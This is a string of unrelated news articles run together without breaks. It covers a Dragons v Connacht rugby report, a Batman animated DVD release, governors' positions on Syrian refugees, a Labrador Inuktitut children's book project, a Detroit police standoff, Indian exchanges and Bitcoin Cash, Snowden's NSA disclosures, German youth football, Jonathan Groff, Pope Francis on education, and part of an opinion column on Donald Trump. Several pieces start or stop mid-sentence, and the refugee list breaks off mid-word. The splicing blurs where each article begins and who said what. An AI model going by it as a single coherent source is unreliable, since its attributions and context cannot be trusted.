A marvellous Dan Evans tackle saved a try that would have given them hope and their evening was summed up when a penalty try looked possible only for Connacht to be pinged for an early engagement It was as close as they were to come to crossing the Dragons line as they closed out the game well to earn a hard-earned and well-deserved win as well as a clean sheet to please defence coach Rob Appleyard.
An ugly win it may have been but it was one to produce smiles on Dragons faces – something that there have not been too many of in a trouble season.
And it was a four-pointer that gives the Dragons a real opportunity, Treviso away in seven days’ time is tough but do-able and after that comes a European double-header with Mogliano.
A streak of four on the spin is not out of the question ahead of the festive derbies – the Dragons will be hoping that when it rains, it pours when it comes to wins.
Dragons: T Prydie, W Harries, P Leach, A Smith (J Dixon HT), T Chavhanga, D Evans, W Evans (J Evans 57), P Price (O Evans 77), H Gustafson (S Jones 57), D Way (N Buck 54), A Jones, R Sidoli (I Nimmo 75), L Evans (captain, I Jones 79), N Cudd, T Brown.
Scorers: tries – P Leach, penalties – T Prydie (3) Connacht: R Henshaw, T O’Hallaran, D Poolman, D McSharry, G Duffy (captain), D Parks, K Marmion (D Moore 75), D Buckley, J Harris-Wright (E Reynecke 28- 35), N White (R Ah You 65), M Swift, M Kearney, A Browne, W Faloon, E McKeon.
Scorers: penalty – D Parks
Referee: Giuseppe Vivarini (Italy)
Argus star man: Nic Cudd
Attendance: 4,168Warner Premiere is set to release an adaptation of Frank Miller's iconic 1980s miniseries featuring Peter Weller ("Robocop") as the voice of the Caped Crusader.
As Christopher Nolan’s series of Batman films comes to a close, Warner Bros. is determined to see the character’s saga continue on the small screen. On September 25, Warner Home Video is releasing the feature-length animated adventure Batman: The Dark Knight Returns via its direct-to-DVD imprint, Warner Premiere.
PHOTOS: 'Dark Knight Returns': Images From the Animated Film (Exclusive Photos)
Borrowing its name from the iconic 1980s miniseries The Dark Knight Returns, the film promises a faithful recreation of Frank Miller’s grim re-imagining of the hero as a grizzled fiftysomething who's called back into action after Harvey Dent/ Two-Face resurfaces. Robocop star Peter Weller is set to provide the voice for Batman/ Bruce Wayne, and DC Universe veteran Wade Williams as Two-Face.
The Blu-ray features more than two hours of content, including the following materials:
• Standard and high definition versions of the feature film
• UltraViolet™*
• Sneak Peak at Batman: The Dark Knight Returns, Part 2, the next DC Universe Animated Original Movie
• Featurette – “Her Name is Carrie … Her Role is Robin” – An all-new featurette. Experience the role of Robin, through the eyes of a female warrior.
• Featurette – “Batman and Me: The Bob Kane Story” – A documentary comprehensively chronicling the remarkable life of the creator of Batman.
• Two bonus episodes from Batman: The Animated Series handpicked by producer Alan Burnett: Two-Face, Parts 1 and 2.
• Digital Comic – “Batman: The Dark Knight Returns” (digital comic with cover art and three full comic pages).
Check out the box art for the forthcoming release above. Batman: The Dark Knight Returns is due in stores September 25.News that one of the terrorists involved in Friday's attacks in Paris blended in among thousands of Syrian refugees to sneak into Paris is now prompting governors in 26 U.S. states to refuse Syrian refugees. ABC7 News looks at where California Gov. Jerry Brown stands on this issue.Brown says people fleeing Syria are still welcome in California, if they're fully vetted in a reliable way.In an emailed statement to ABC7 News, the governor's office sent the following statement from Brown: "I intend to work closely with the President so that he can both uphold America's traditional role as a place of asylum, but also ensure that anyone seeking refuge in America is fully vetted in a sophisticated and utterly reliable way. You can be sure that we will do everything in our power to protect the people of our state.""It is a concern when there are that many people all coming at once with very bad paperwork, with not much knowledge of the backgrounds of such large numbers of people. It's hard to vet," Mills College professor of government Fred Lawson said.Lawson was at a world affairs council lecture on ISIS Monday evening and acknowledges the security issues that come with Syrian refugees. He also feels it is America's duty to help people in need and he is not alone in thinking that."To deny these people the right to come into our country and have a better life goes against everything this country is all about," Berkeley resident Kurt Worthington said."It's pretty difficult to cast all the refugees in the same light because there are a few extremists," San Francisco resident Michael Anthony said.The governor of Alabama feels "a few" is too many."When you know that some of the people coming out of that region have the potential to be terrorists, we can't take the chance on that," Alabama Gov. Robert Bentley said.Catholic Charities in Santa Clara feels not only are refugees not a risk, they're an asset.Theresa Samuel-Boko is manager of the Refugee Resettlement Program for Catholic Charities of Santa Clara County. She said, "They work, they have jobs, they pay taxes, and so and so... they do become part of our community. They're not a threat to our community, they are part of us."Immigration experts say under the refugee act of 1980 governors cannot legally block refugees from their communities.According to the Associated Press, a Greek official confirmed the Syrian passport found on the body of one of the attackers at the Stade de France belonged to someone who had crossed into the European Union as a refugee, through the Greek island of Leros in October.The Refugee Processing Center says 218 Syrian refugees have arrived in California this year.Join the conversation. Click here to comment on our Facebook post about this issue.Here's a look at where some state governors stand, and the number (in parentheses) of Syrian refugees who have arrived in each state since Jan. 1, according to the U.S. State Department's Refugee Processing Center:ALABAMA (0)Republican Gov. Robert Bentley announced Sunday that he would refuse Syrian refugees relocating to the state, saying: "I will not stand complicit to a policy that places the citizens of Alabama in harm's way." Bentley's news release said the Alabama Law Enforcement Agency was diligently working with federal officials to monitor any possible threats. There has been no credible intelligence of terror threats in Alabama so far, according to the governor's office.ALASKA (0)The oil-producing state is grappling with an estimated budget deficit of $3.5 billion amid low oil prices, and Gov. Bill Walker, a Republican turned independent, "has been focused on solving the state's fiscal challenges," spokeswoman Katie Marquette said by email Monday. She said Walker has not given any consideration to trying to stop Syrian refugees from settling in the state.ARIZONA (153)Republican Gov. Doug Ducey is calling for an immediate halt to the placement of any new refugees from the Middle East. And Ducey made it clear that the state is within its legal rights to do so, saying that he is invoking the state's right under federal law to immediately consult with U.S. officials on any new refugee placements. He also wants Congress to change the law to give states more oversight over refugee placement. Ducey says national leaders must react to protect its citizens.ARKANSAS (0)Republican Gov. Asa Hutchinson says he opposes Syrian refugees being relocated to Arkansas. Hutchinson, a former undersecretary of the federal Department of Homeland Security, said he doesn't believe the United States should be a permanent place of relocation for the refugees and that he thinks Europe, Asia or Africa are logically the best places for resettlement or temporary asylum.CALIFORNIA (218)Democratic Gov. Jerry Brown says he'll work closely with President Barack Obama to ensure any Syrian refugees coming to California are "fully vetted in a sophisticated and utterly reliable way." He says the state can help uphold America's traditional role as a place of asylum while also protecting Californians.COLORADO (5)Colorado's governor isn't ruling out Syrian refugees in the wake of terror attacks in Paris. But Democratic Gov. John Hickenlooper said Monday the federal government needs to make sure the verification process for refugees is "as stringent as possible." Colorado has received no Syrian refugees, according to state officials.CONNECTICUT (42)Gov. Dannel P. Malloy says Connecticut will continue to accept refugees from Syria. The Democrat told NBC Connecticut on Monday the state is committed to accepting the refugees and believes background checks could easily be performed. His spokesman, Devon Puglia, said the administration is continuing to work with federal officials and await guidance as "they develop procedures following the tragedy in Paris."FLORIDA (104)Gov. Rick Scott is calling on Congress to block attempts by the Obama administration to relocate 425 Syrian refugees to Florida. The Republican governor on Monday wrote a letter to congressional leaders that asked them to take "immediate and aggressive action" to prevent the relocation of Syrian refugees without an "extensive evaluation" of the risk the refugees may pose to national security.GEORGIA (57)Gov. Nathan Deal says the state will not accept Syrian refugees. Deal, a Republican, says he issued an executive order on Monday directing state officials to prevent resettlement of Syrian refugees in Georgia. He also asked the Obama administration to work with Georgia officials to confirm the backgrounds of Syrian refugees already resettled in Georgia.IDAHO (27)Republican Gov. C.L. "Butch" Otter is calling for the immediate halt of resettling new refugees until vetting rules can be reviewed and state concerns about the program can be addressed.ILLINOIS (131)Republica Gov. Bruce Rauner announced he wants to prevent Syrian refugees from relocating in their states. In a statement issued Monday, Rauner said the state will "temporarily suspend accepting new Syrian refugees and consider all of our legal options pending a full review of the process by the U.S. Department of Homeland Security."IOWA (0)Saying he wants to protect residents of his state in the wake of terrorist attacks in Paris, Gov. Terry Branstad acknowledged that governors might not be have the legal authority to prevent the Syrian refugees from relocating to their states because "this is a federal program." Still, the Republican says he wants more information from the federal government about where people are being placed and the vetting process.INDIANA (18)Republican Gov. Mike Pence announced Monday that he was ordering state agencies to suspend the relocation of any more Syrian refugees to the state until he received assurances from the federal government that proper security measures had been taken.KANSAS (8)Republican Gov. Sam Brownback issued an executive order Monday directing that no state agency, or organization receiving grant money from the state, shall participate or assist in the relocation of Syrian refugeeKENTUCKY (99)Kentucky's incoming Republican governor is opposing the resettlement of Syrian refugees. Republican Gov.-elect Matt Bevin's stance is at odds with Kentucky's current governor. Democratic Gov. Steve Beshear says Kentucky should do "the Christian thing" and welcome all refugees who have passed extensive background checks.LOUISIANA (14)Gov. Bobby Jindal - a Republican presidential contender - said he wants more information from the White House "in hopes that the night of horror in Paris is not duplicated here." Jindal sent a letter to the White House on Saturday, demanding to know how many Syrian refugees have been resettled in his state. He also wants to know the extent of background screening before Syrians entered the U.S. as well as what monitoring would be done once the refugees make it to Louisiana.MAINE (0)Gov. Paul LePage says it is "irresponsible" to allow Syrian refugees into the country in the wake of the terrorist attacks in Paris. The Republican governor, who said he does "not know for certain" if Maine has any Syrian refugees right now, plans to point out in a radio address on Monday that one of his first actions as governor was to prevent Maine from serving as a "sanctuary state" for people living in the country without legal permission.MARYLAND (31)Maryland Gov. Larry Hogan says the state will "make a very reasoned and careful decision" about how it will proceed in policy regarding potential Syrian refugees. The Republican governor said Monday the issue is one that "we'll be looking at very closely."MASSACHUSETTS (62)Gov. Charlie Baker says he's opposed to allowing more Syrian refugees into Massachusetts in the aftermath of the terrorist attacks in Paris and that he wants to know much more about the federal government's vetting process before allowing them into the state.MICHIGAN (195)Gov. Rick Snyder had bucked many fellow Republican leaders by welcoming refugees to Michigan, which has a large Arab-American population. But he said Sunday that the state is postponing efforts to accept refugees until federal officials fully review security procedures and clearances. Snyder said that while he is proud of the state's history of immigration, its "first priority is protecting the safety of our residents."MINNESOTA (7)Gov. Mark Dayton isn't objecting to the possible placement of Syrian refugees in his state as long as they undergo rigorous screening first. The Democrat released a statement Monday saying he's been assured by the White House that any refugees from Syria would be "subject to the highest level of security checks of any category of traveler to the United States."MISSISSIPPI (0)Gov. Phil Bryant said Monday that he's trying to find out if there are any plans by the federal government to relocate any Syrian refugees in the state and if there are the Republican said he will "do everything humanly possible" to stop it.MISSOURI (29)Democratic Gov. Jay Nixon says it's up to the federal government to screen refugees and is calling for safeguards following deadly terror attacks in Paris. But in a statement Monday, Nixon didn't say he'd block Syrian refugees from settling in Missouri. Three Republican candidates for governor want Nixon to do so, citing safety concerns.MONTANA (0)Democratic Gov. Steve Bullock said Monday the state "will not allow any terrorist organization to intimidate us into abandoning our values." State officials are reviewing the existing protocols for considering refugee settlement requests and if there are any safety concerns, the refugees will be denied, he said.NEW HAMPSHIRE (3)New Hampshire Gov. Maggie Hassan says the United States should halt the acceptance of Syrian refugees until intelligence and defense officials can assure a strong process for vetting refugees. The Democratic governor also says more facts are needed on how the attackers got into Paris before the United States takes more Syrian refugees.NEBRASKA (0)Gov. Pete Ricketts says he does not want Syrian refugees resettling in Nebraska until the federal government conducts a full review of its screening procedures to ensure public safety. The Republican sent a letter Monday to refugee resettlement agencies in the state, urging them not to pursue resettlement of the refugees in light of the terrorist attacks in Paris.NORTH CAROLINA (23)Republican Gov. Pat McCrory is asking the Obama administration to cease sending refugees from Syria to North Carolina until the state is satisfied with the effectiveness of federal background and security checks.NORTH DAKOTA (0)The office of Republican Gov. Jack Dalrymple says North Dakota has not received any Syrian refugees and doesn't expect any will be sent to the state.OHIO (78)Gov. John Kasich, a Republican presidential candidate, doesn't want Ohio or the United States to accept more Syrian refugees. Spokesman Jim Lynch says the Republican presidential candidate is writing to ask President Barack Obama to stop resettling Syrian refugees in Ohio because safety and security issues can't adequately be addressed. Kasich also is reviewing steps Ohio might take to stop resettlement.OKLAHOMA (3)Republican Gov. Gov. Mary Fallin is urging President Barack Obama to suspend accepting any Syrian refugees to the U.S. Fallin said Monday the Obama administration needs to assure the public that it is conducting rigorous background checks on any Syrian refugees coming into the U.S.PENNSYLVANIA (119)Democratic Gov. Tom Wolf said his administration will keep working with the federal government to properly screen and resettle Syrian refugees in the state.RHODE ISLAND (0)Democratic Gov. Gina Raimondo said in September she's willing to help if the federal government asks Rhode Island to host Syrian refugees. Raimondo's spokeswoman says the governor would coordinate closely with the White House and law enforcement if the state receives a request now.SOUTH CAROLINA (0)Republican Gov. Nikki Haley says she's re-evaluating international refugee programs in light of the terrorist attacks in Paris but continues to support allowing the persecuted to come to South Carolina. She says no Syrians have been brought to South Carolina. She says refugees from other nations in South Carolina have been persecuted for being Christians, for their political views or because they were interpreters for American military personnel.TENNESSEE (30)Gov. Bill Haslam says he is asking the federal government to suspend placement of Syrian refugees in Tennessee. In a statement released to media on Monday, Has |
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InukBook is an initiative under the Tradition and Transition research partnership founded by the Nunatsiavut Government and Memorial University.
"It came about when Nunatsiavut came out and spoke to us community members saying that there's not enough material for children in terms of books," said Ossie Michelin, who works with the partnership program.
We want these books to be omnipresent in Labrador. - Ossie Michelin
The project was designed to publish Inuk books and provide more resources and more books in Labrador Inuktitut for children (and adults) learning the language.
"There are a lot of resources out there for other dialects of Inuktitut but there really isn't that much out there in the unique dialect here in Labrador," said Michelin.
The project put out a call for submissions and is looking for Nunatsiavut beneficiaries to submit story ideas. The winning entries will be developed and published.
Ossie Michelin says there is a lack of resources for Inuktitut-language books for children. (Facebook)
Michelin said they can be made up stories, true stories, traditional folk tales or legends, and that all ideas are welcome.
"We'll pick the two best story ideas between now and October. You can submit them in English or Inuktitut and if you need translating, we'll help you," he said.
"Once we select the authors we'll do the same process for the illustrators."
The project will be ongoing for at least the next five years and the group is planning to produce at least two books a year.
In addition, Michelin said the project is also exploring possibilities to have future readalong apps or CDs to accompany the books.
"I would love to see them in all of the schools, I would love parents to have them at home in waiting rooms at the airport everywhere," Michelin said.
"We want these books to be omnipresent in Labrador."
'What better way to include everybody'
Stories can be submitted through Facebook, email or phone, as well as other options, such as sharing circle events.
Nunatsiavut said the book contest will fill a gap in demand for Inuktitut-language reading material.
"We saw a need for an increase in Inuktitut children's books and what better way to include everybody than to open it up to the public to have their stories told," said Jodie Lane, Nunatsiavut education manager.
"They don't have to come with a finished story we want ideas or any sort of contribution we welcome them in English or Inuktitut."Buy Photo Police believed two suspects were in a house in the 1000 block of Wheelock following a robbery at a Redford Township motel Monday. (Photo: David Coates / The Detroit News)Buy Photo
Detroit — After a nearly 12-hour standoff between barricaded robbery suspects and police, no one appeared to be in the house where the suspects were thought to be holed up on Wheelock in southwest Detroit.
Redford and Michigan State Police had been staking out the house in the 1000 block of Wheelock following a robbery of a woman at a Redford Township motel early Monday morning.
At least two, and possibly three suspects, were believed to have fled the robbery and ended up at the home near Interstate 75 and Springwells. One suspect surrendered from the home in the morning and was turned over to Redford police.
For hours, police attempted to negotiate with the other suspect or suspects believed to still be in the house, but they got no response. Police entered the home around 2:30-3 p.m. — but no one was inside.
“We are still actively trying to locate the suspects in this dwelling,” Michigan State Police Lt. Calvin Hart told reporters around 4 p.m. “No suspect has been located in this particular dwelling. We do have one individual that did surrender. So this is ongoing. We are still attempting to clear the dwelling to make sure any hiding spaces are properly searched.”
The scene at one point involved at least 12 State Police cruisers in position at Lafayette, a tactical truck, a bomb squad and a canine unit from the Bay City Police Department. Police advised neighbors to stay inside their homes as officers used explosions devices to get the suspects to respond.
It also led to the lockdown of nearby Roberto Clemente Academy. Parents came and picked up their children.
Earlier in the afternoon, Principal Maria Hernandez-Martinez said, “The students are safe.”
Asked how to respond to concerns that there might be armed robbers still in the community, Hart said police were doing everything they can.
“It still remains a concern that they are not in this house,” Hart said. “(We wanted to) make sure that the community is safe. That’s why we took every step here today.”
HFournier@detroitnews.com
(313) 223-4616
@HollyPFournier
Read or Share this story: http://detne.ws/1Qr1TjOFork Watch: Indian Bitcoin Exchanges Will Not Support 'Bitcoin Cash'
India’s top bitcoin exchanges have announced that they are either not supporting or have not planned to support “Bitcoin Cash,” the new cryptocurrency that is expected to result from a user-activated hard fork (UAHF) on August 1. The exchanges have also announced that they will be suspending bitcoin deposits and withdrawals during that time.
Also read: Indian Bitcoin Hotspot Bangalore Sees 50+ Merchants Added This Month
India has three major bitcoin exchanges; Zebpay, Unocoin and Coinsecure. All three have made announcements regarding Bitcoin Cash, as well as how each plans to suspend bitcoin services during the planned hard fork.
Zebpay
Zebpay claims to be the biggest bitcoin exchange in India. Its app surpassed 500,000 Android downloads in May and ranked as the 7th most popular finance app in the Apple app store in June.
The company announced on Thursday that it will neither support Bitcoin Cash (BCC) nor its trading, stating that:
If you want access to Bitcoin Cash, please remove your bitcoins from your Zebpay wallet to a wallet in which you control the private keys on or before 31st July. Bitcoin Cash will not be available for customers who leave bitcoins in Zebpay.
In addition, the exchange is suspending bitcoin deposits and withdrawals from July 31 at 10 pm to August 2 at 10 am.
Unocoin
Unocoin claims to be India’s most popular bitcoin company with a focus on merchant services. The platform reported having over 300,000 registered users and trading volume of more than 200 million INR each month.
The company announced last week its contingency plan for the hard fork. While the exchange will support the chain with the majority, it stated:
Unocoin has not planned or equipped to support other shorter and weaker chains if they pop up.
The company also announced a system maintenance of the site between July 30 and August 4 “to avoid any loss of customers’ coins via replay attacks and to choose the longer and safer chain to go with.” This period may be extended if necessary.
Coinsecure
Coinsecure claims to be India’s fastest 24/7 real-time bitcoin trading platform. The company has announced that “to ensure the safety of customers’ funds, we will temporarily suspend BTC deposits, withdrawals, and buy/sell starting approximately 24 hours before activation of either fork.” In addition, the exchange stated:
If you do wish to have access to coins on the other forked chain or access your BTC during the fork, you should send your BTC from Coinsecure to your external address by July 30th.
What do you think about the standpoint Indian Exchanges are taking on Bitcoin Cash? Let us know in the comments section below.
Images courtesy of Shutterstock, Zebpay, Unocoin, Coinsecure
Need to calculate your bitcoin holdings? Check our tools section.One year ago, the Guardian published its first bombshell story based on leaked top-secret documents showing that the National Security Agency was spying on American citizens.
At the time, journalist Glenn Greenwald and the Guardian never mentioned that they had a treasure trove of other NSA documents, nor that they came from one person. Then three days later, the source surprisingly unmasked himself: His name was Edward Snowden.
Journalist Glenn Greenwald and the Guardian won a Pulitzer Prize for reporting based on Snowden's information. Image: John Minchillo/Associated Press
When asked if more revelations were in the pipeline, Greenwald always used to respond that yes, many more were coming — and he wasn't kidding. Over the next year, explosive stories began to trickle out of those documents. Here are the top 10 revelations of the year.
1. Secret court orders allow NSA to sweep up Americans' phone records
The very first story revealed that Verizon had been providing the NSA with virtually all of its customers' phone records. It soon was revealed that it wasn't just Verizon, but virtually every other telephone company in America.
This revelation is still one of the most controversial ones. Privacy advocates have challenged the legality of the program in court, and one Judge deemed the program unconstitutional and "almost Orwellian," while another one ruled it legal.
The uproar caused by this first story has led President Barack Obama to endorse a reform to the program, and the House of Representatives to pass the first law that tries to change it.
2. PRISM
The existence of PRISM was the second NSA bombshell, coming less than 24 hours after the first one. Initially, reports described PRISM as the NSA's program to directly access the servers of U.S tech giants like Google, Facebook, Microsoft and Apple, among others.
Its reality was slightly different.
PRISM, we soon learned, was less less evil than first thought. In reality, the NSA doesn't have direct access to the servers, but can request user data from the companies, which are compelled by law to comply.
PRISM was perhaps as controversial as the first NSA scoop, prompting technology companies to first deny any knowledge of it, then later fight for the right to be more transparent about government data requests. The companies ended up partially winning that fight, getting the government to ease some restrictions and allow for more transparency.
3. Britain's version of the NSA taps fiber optic cables around the world
The British spy agency, the Government Communications Headquarters (GCHQ), taps fiber optic cables all over the world to intercept data flowing through the global Internet, we learned. The GCHQ works closely with the NSA, sharing data and intelligence in a program that's codenamed Tempora.
Tempora is one of the key NSA/GCHQ programs, allowing the spy agencies to collect vasts troves of data, but for some reason, it has sometimes been overlooked. After a couple of months from the Tempora revelation, a German newspaper revealed the names of the companies that collaborate with the GCHQ in the Tempora program: Verizon Business, British Telecommunications, Vodafone Cable, Global Crossing, Level 3, Viatel and Interoute.
4. NSA spies on foreign countries and world leaders
U.S. President Barack Obama, right, and German Chancellor Angela Merkel are seated together at a G7 dinner in Brussels, on June 4. Their relationship has been tense since reports revealed that the NSA tapped Merkel's phone. Image: Charles Dharapak/Associated Press
Over the months, countless stories based on Snowden documents have revealed that the NSA has spied on numerous world leaders and foreign governments.
The German newsweekly Der Spiegel revealed that the NSA targets at least 122 world leaders.
Other stories over the past years have named specific targets like German Chancellor Angela Merkel, Brazil's President Dilma Roussef, and Mexico's former President Felipe Calderon, the French Foreign Ministry, as well as leaders at the 2010 G8 and G20 summits in Toronto.
5. XKeyscore, the program that sees everything
XKeyscore is a tool the NSA uses to search "nearly everything a user does on the Internet" through data it intercepts across the world. In leaked documents, the NSA describes it as the "widest-reaching" system to search through Internet data.
6. NSA efforts to crack encryption and undermine Internet security
Encryption makes data flowing through the Internet unreadable to hackers and spies, making the NSA's surveillance programs less useful. What's the point of tapping fiber optic cables if the data flowing through them is unreadable? That's why the NSA has a developed a series of techniques and tricks to circumvent widely used web encryption technologies.
The NSA, however, isn't able to compromise the encryption algorithms underlying these technologies. Instead, it circumvents or undermines them, forcing companies to install backdoors, hacking into servers and computers, or promoting the use weaker algorithms.
In any case, technologists were alarmed.
"Even as the NSA demands more powers to invade our privacy in the name of cybersecurity, it is making the Internet less secure and exposing us to criminal hacking, foreign espionage, and unlawful surveillance. The NSA's efforts to secretly defeat encryption are recklessly shortsighted and will further erode not only the United States' reputation as a global champion of civil liberties and privacy but the economic competitiveness of its largest companies," Christopher Soghoian, principal technologist at the American Civil Liberties Union (ACLU) said at the time.
7. NSA elite hacking team techniques revealed
The NSA has at its disposal an elite hacker team codenamed "Tailored Access Operations" (TAO) that hacks into computers worldwide, infects them with malware and does the dirty job when other surveillance tactics fail.
Der Spiegel, which detailed TAO's secrets, labelled it as "a squad of plumbers that can be called in when normal access to a target is blocked." But they can probably be best described as the NSA's black bag operations team.
TAO comes in for specific, targeted operations when the NSA can't find intelligence or needs more detailed information on a target through its bulk surveillance programs. Before Snowden, most of their operations and techniques were shrouded in secrecy, and their secrets make for one of the most fascinating revelations.
8. NSA cracks Google and Yahoo data center links
When bulk collection or PRISM fails, the NSA had other tricks up its sleeve: It could infiltrate links connecting Yahoo and Google data centers, behind the companies' backs.
This revelation was made famous mostly by a Power Point slide that included a celebratory smiley face.
This story truly enraged the tech companies, which reacted with much more fury than before. Google and Yahoo announced plans to strengthen and encrypt those links to avoid this kind of surveillance, and a Google security employee even said on his Google+ account what many others must have thought privately: "Fuck these guys."
9. NSA collects text messages
It's not just about Internet data though. The NSA, following its unofficial motto of "collecting it all," intercepts 200 million text messages every day worldwide through a program called Dishfire.
In leaked documents, the agency described the collected messages as a "goldmine to exploit" for all kinds of personal data.
Here is what the NSA automatically extract from text messages *every day*: http://t.co/WyJnSX4Qui pic.twitter.com/DucMOOrdkK — James Ball (@jamesrbuk) January 16, 2014
Other documents also revealed that the NSA can "easily" crack cellphone encryption, allowing the agency to more easily decode and access the content of intercepted calls and text messages.
10. NSA intercepts all phone calls in two countries
The NSA intercepts and stores all phone calls made in the Bahamas and Afghanistan through a program called MYSTIC, which has its own snazzy logo.
The Bahamas was revealed by The Intercept, Greenwald's new website, while the second was revealed by WikiLeaks, which protested The Intercept's decision to withhold the second country's name.
The NSA also collects all phone calls' metadata in Mexico, Kenya and the Philippines.
Bonus: Edward Snowden's first in-person interview with an American news outlet
(H/T to the site Free Snowden, which has an extensive and detailed list of all the NSA revelations.)Page 1 of 2
Over the last few weeks and months, a lot has been said about the German youth development in football - whether it was regarding club football or the national team - and more importantly, from an English perspective, in which areas Germany has an advantage over England.
However, coverage usually stops there. There is rarely a full description of how youth development in Germany is set up, or only bits and pieces are thrown at you. Therefore, I will try to lay out the basic features and stages so you can, first of all compare it to the youth development in your respective country, and also understand more about German football and why it may work as well as it does currently.
In my opinion, there are three main pillars that hold the whole development program together: special football centres, either realised through football bases (usually for the under 11 to under 14s, in some regions even younger groups), elite schools that combine education and football and finally, the academies of the professional clubs. We will discuss that stage in more detail in a minute.
The second pillar is the introduction of competitive leagues, with champions and relegated teams from the under 12 level onwards. This stage teaches the players a winning mentality and a sense of competitiveness. It is not merely about performances, but results are important as well.
The final pillar exists to enable any player to play at the highest level at any given age - particularly from the under 17s onwards. That begins with a real Bundesliga format for the under 17 and under 19 sides and ends with the introduction of B-sides into the highest amateur (4th division) and the lowest professional league (3rd division). But we will come to that again.
However, the best infrastructure is nothing without proper coaches. That is why only licensed (UEFA B license), well trained coaches have been put in charge of these training groups, regardless of whether it is under 18 or under 11 teams. For a youth development to be effective and efficient, you need to know the stages of development. You could listen to Arsène Wenger on this as well.
In general, there are three main stages for each player.
Stage 1 - age 6-14: here, it is all about the improvement of skill and technique. If at the end of that stage, you do not have any technical ability, you probably will not make as a professional footballer.
Stage 2 - age 14-16/17: here, the focus is on preparing the player physically. That does not necessarily mean sending him to the gym five times a week, but rather teaching him how to be physical. How to use the body to shield the ball, how to go into tackles etc,.
The final stage from 16/17 onwards would be the tactical education. Depending on the position, as well as individual cases and exceptions (for example players who suffered long term injuries), the final two stages could be interchanged. It is therefore extremely important that this structure has to be kept in mind and has to be implemented into the teaching methods and structures at basically every level. And with that, we are back at the training of under 11s to under 14s.
From 2002/3 onwards, the German football association started implementing football bases, led by professional coaches, all over the country, with the aim to allow every player access to the best coaching. Not every player in that age group is fortunate enough to play in the academy of a professional club. Hence, if he is good enough, he will be allowed to train at such a DFB base once a week. The main idea of it is to ascertain if players that up to that point, who had not yet been scouted, are still able to improve and become the best player they can be.
On a more personal note, having been part of that program myself, I can confirm it is a vastly enriching experience to train in a group full of quality players and under professional guidance - even if it is just once a week. Success in these bases and subsequent improvement frequently leads to players being given chances or places in the elite schools or academies. To give you an overview of these centres: altogether, there are 366 bases at the moment, spread across the country.
DFB bases (for players that are not part of academies):
Elite schools (high level of education and football training):
Academies (youth system of professional clubs):
Finally, let us come back to the development of the under 17 and under 19 players. As mentioned, for each age group, there is a Bundesliga. Divided into three regional groups, teams play a standard season modus and in the end, the best four teams enter the semi-final. However, this is fairly standard and can be found in most countries to a similar extent. There is a national cup as well, similarly to the FA Youth Cup. Again, fairly standard. The most drastic difference comes in the adult stages, with the introduction of B teams, or 'II teams' as they are called in Germany, into the 3rd or 4th division. For instance, Dortmund's II team is currently playing in the 3rd league while Bayern's II team is part of the Regionalliga Bayern (4th division). All in all, a concept similar to Spain's, where B sides are even allowed to play in the Segunda División, but completely different to the British approach.Tony nominee Jonathan Groff is starring in the Los Angeles production of Red opposite Alfred Molina, but he won’t be doing any Googling to find out what fans think of his performance. “I decided to stop looking at myself on the Internet,” the actor told Out magazine. “Your ego wants to see, but I was looking at myself online…and thought, ‘You know what? This is doing me no good.’” Groff, who has the “complex and intense” job of going head-to-head with Molina as artist Mark Rothko’s assistant, is resolving to focus only on his career and healthy eating—no Googling allowed.
Groff recently gave up his favorite soft drink (Diet Coke), and adopted a strict diet of mostly chicken, broccoli and eggs for his newest TV role in the second season of political thriller Boss. Groff, who plays Ian Todd, advisor to Mayor Tom Kane (Kelsey Grammer), has a good reason for his new regimen. “I mean, the show is on STARZ, so I definitely get naked at some point,” the actor revealed. The Spring Awakening alum admits he’s been swimming at a “secret” public Los Angeles pool to get ready to bare it all on screen.
Groff, who came out as “gay and proud” in 2009, still isn’t sure how the decision has impacted his stage and screen work. “When I came out, people said it may have a negative effect on my career, and that’s definitely something I thought about before I did it,” he said. “But I don’t hold that belief. I just go on my auditions and plug away as I normally would. At the end of my career I can look back and ask, ‘Well, did it or didn’t it?’ But at the moment, I just have to move forward and hope that people will follow my actions.”
Until then, the Glee veteran is keeping busy—Boss’ second season premieres August 17, and Red will play a limited engagement at Los Angeles’ Mark Taper Forum through September 9. “We’re painting a huge canvas onstage,” Groff says of John Logan’s Tony-winning play. “It’s a dream job.”Pope Francis, formerly Cardinal Jorge Maria Bergoglio of Buenos Aires, Argentina. (AP)
(CNSNews.com) – In a 2011 book, Cardinal Jorge Maria Bergoglio, the new Pope Francis, stated that parents have a right to raise their children in accordance with their religious beliefs and that sometimes when the government intervenes to deprive young people of that religious element, it can produce terrible consequences, including “cases like Nazism” whereby many students were indoctrinated with views alien to those espoused their parents.
The book, in Spanish, is entitled Sobre El Cielo Y La Tierra (On Heaven and Earth), by Jorge Bergoglio and Abraham Skorka, the latter an Argentinan rabbi. The book is in interview-style and Skorka asks the cardinal a variety of questions throughout 29 chapters.
In Chapter 18, "Sobre la educacion" (On Education), the future Pope Francis says, “In the Bible, God presents himself as a teacher. ‘Yet it was I who taught Ephraim to walk, who took them in my arms,’ it says. A believer is obliged to raise his children. Every man and every woman has a right to educate their children in their religious values.”
“When a government deprives children of this formation, it can lead to cases like Nazism, whereby children were indoctrinated with values opposite to those of their parents. Totalitarianism tends to take over education so it can use the water for its own mill,” said then-Cardinal Bergogolio.
Cardinal Bergoglio, 76, was the archbishop of Buenos Aires, Argentina. He was elected Pope of the Catholic Church on Mar. 13. He chose the name Pope Francis, in honor of St. Francis of Assisi, who was known for rebuilding the church with new religious orders and who had the stigmata (the wounds of Christ) in his hands, feet and side.
The paragraph on education in Spanish, from the book, is as follows (without accents): “En la Biblia, Dios se muestra como un educador. ‘Yo te lleve a babucha, te ensene a caminar,’ dice. La obligacion del creyente es hacer crecer a sus crias. Cada hombre y cada mujer tienen derecho a educar a sus hijos en sus valores religiosos. La incedencia del Estrado en la privacion de esta formacion puese llevar a casos como el Nazism, en el que los chicos eran adoctrinadops con valores ajenos a los de sus padres. Los totalitarismos tienden a copar la education para llevar el agua a su propio Molino.”
(Steve Edwards and Joshua Cabana contributed to this report.)Truly, Donald Trump knows nothing. He is more ignorant about policy than you can possibly imagine, even when you take into account the fact that he is more ignorant than you can possibly imagine. But his ignorance isn’t as unique as it may seem: In many ways, he’s just doing a clumsy job of channeling nonsense widely popular in his party, and to some extent in the chattering classes more generally.
Last week the presumptive Republican presidential nominee — hard to believe, but there it is — finally revealed his plan to make America great again. Basically, it involves running the country like a failing casino: he could, he asserted, “make a deal” with creditors that would reduce the debt burden if his outlandish promises of economic growth don’t work out.
